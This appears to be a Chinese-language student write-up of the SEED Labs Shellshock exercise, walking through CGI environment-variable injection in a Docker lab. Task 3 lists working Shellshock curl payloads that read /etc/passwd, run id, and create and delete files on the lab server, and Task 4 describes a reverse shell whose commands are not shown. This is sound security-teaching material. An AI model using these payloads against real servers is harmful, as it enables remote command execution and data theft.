ShellShock20.04版本
Topic
- shellshock
- 環境變數
- Bash中的函式定義
- Apache和CGI程式
實驗環境設定
DNS Setting

將IP10.9.0.80和www.seedlab-shellshock.com連接
使用cat /etc/hosts查看DNS設定

hosts格式配置
hosts檔案可以配置主機ip與對應的主機名,在局域網或者是萬維網上,每臺主機都有一個ip地址,它區分開每臺主機,并可以根據ip進行通訊,但是Ip地址不符合人腦的記憶規律,因此出現了域名,例如www.baidu.com.在一個局域網中,每臺機器都有一個主機名,用于區分主機,便于相互訪問,
hosts檔案格式
ip地址 主機名/域名 (主機別名)
Docker實驗容器安裝
$ docker-compose build # Build the container image
$ docker-compose up # Start the container
$ docker-compose down # Shut down the container
$ dcbuild # Alias for: docker-compose build
$ dcup # Alias for: docker-compose up
$ dcdown # Alias for: docker-compose down


關閉docker服務時,需要在新的終端,輸入關閉指令
$ dockps // Alias for: docker ps --format "{{.ID}} {{.Names}}"
$ docksh <id> // Alias for: docker exec -it <id> /bin/bash
$ docker exec -t -i * /bin/bash – 進入到容器內部, *表示是需要進入的容器id
exit//退出指令
其中 ID號可以列印部分,因為ID號都是唯一的,



TASK
Task 1: Experimenting with Bash Function

設計一個程式,對比正常的Shell和有漏洞的ShellShock對代碼的決議,判斷是當前Shell是否存在漏洞

bash_shellshock運行后,輸出extra,且foo函式決議不全,故當前shell有漏洞,
Task 2: Passing Data to Bash via Environment Variable

$ curl -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi
$ curl -A "my data" -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi
$ curl -e "my data" -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi
$ curl -H "AAAAAA: BBBBBB" -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi
-v列印出HTTP請求和來自服務器的回應
-A選項,可以用來設定User-Agent欄位
-e,改變Referer欄位
-H,改變額外頭欄位




可以發現成功列印出了環境變數,當CGI程式被呼叫的時候,會首先FORK創建一個新行程,然后再使用exec()函式來執行CGI程式,因為CGI程式開頭是#!/bin/bash,所以該程式是一個shell腳本,所以他執行后,bash會執行shell腳本,當創建子行程執行bash時,它為bash行程提供了環境變數,傳遞到子行程,其中有些環境變數可以通過人為控制傳入指定的字符,例如USER_AGENT等,
Task 3: Launching the Shellshock Attack

//竊取密碼
curl -A "() { echo "hello" ;}; echo Content_type: text/plain; echo; /bin/cat /etc/passwd" http://www.seedlab-shellshock.com/cgi-bin/vul.cgi
//ID查看
curl -A "() { echo "hello" ;}; echo Content_type: text/plain; echo; /bin/id" http://www.seedlab-shellshock.com/cgi-bin/vul.cgi
//creat
curl -A "() { echo "hello" ;}; echo Content_type: text/plain; echo; /bin/touch /tmp/file" http://www.seedlab-shellshock.com/cgi-bin/vul.cgi
//查看
url -A "() { echo "hello" ;}; echo Content_type: text/plain; echo; /bin/ls /tmp" http://www.seedlab-shellshock.com/cgi-bin/vul.cgi
//delet
url -A "() { echo "hello" ;}; echo Content_type: text/plain; echo; /bin/rm /tmp/file" http://www.seedlab-shellshock.com/cgi-bin/vul.cgi
指令決議:
() { echo ”hello” ;};這一段就是新程式的一個函式,
echo Content_type: text/plain; echo;這一段就是告訴shell決議的時候保持為純文本,不用其他的解釋型語言來決議
/bin/cat /etc/passwd 查看/etc/passwd的檔案內容,至于為什么不直接用cat指令,的確列印不出來,應該是無法識別,可能無法共享環境變數,
運行之后即可打開/etc/passwd檔案

/ect/shadow檔案需要root權限才能查看,seed用戶通過/bin/cat 查看時會被拒絕訪問


Question1:
不能從shadow竊取密碼,shadow只有root權限和shadow權限,seed用戶無權限讀取,

Question2:
不能進行攻擊,?之后的字串能夠注入能得到:QUERY_STRING=AAAAA;REQUEST_URI=/cgi-bin/getenv.cgi?AAAAA,且需要連續字串;輸入:
curl "http://www.seedlab-shellshock.com/cgi-bin/getenv.cgi"?-A "() { echo "hello" ;}; echo Content_type: text/plain; echo; /bin/id"
得到:

Taks4:Getting a Reverse Shell via Shellshock Attack

- 攻擊者端創建監聽

-
攻擊者端創建反向Shell

-
命令解讀
10.9.0.1為主機IP,可通過ifconfig查看,鏈接至docker容器內的有漏洞的getenv.cgi程式執行,主機通過上述命令取得服務器的輸入權限和輸出反饋,

-
創建成功

Task 5: Using the Patched Bash

如何修改docker內檔案?一篇文章帶你搞定如何在 Docker 創建的容器中修改配置
- 剛創建的 docker 容器,是沒有 vi 命令的:
- 需要先執行:
apt-get update - 待更新完畢,再執行
apt-get install vim,安裝 vi - 至此,vi 命令安裝成功,接下來便可以在 docker 容器中執行修改檔案操作
- 進入docker,修改docker檔案

- 執行task3指令


正常的bash,對該命令不會錯誤決議,造成ShellShock攻擊,且能正確列印環境變數
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/342006.html
標籤:其他
上一篇:Linux-VMWare安裝使用、Linux命令、Docker安裝和Linux專案部署
下一篇:Nginx服務器安裝
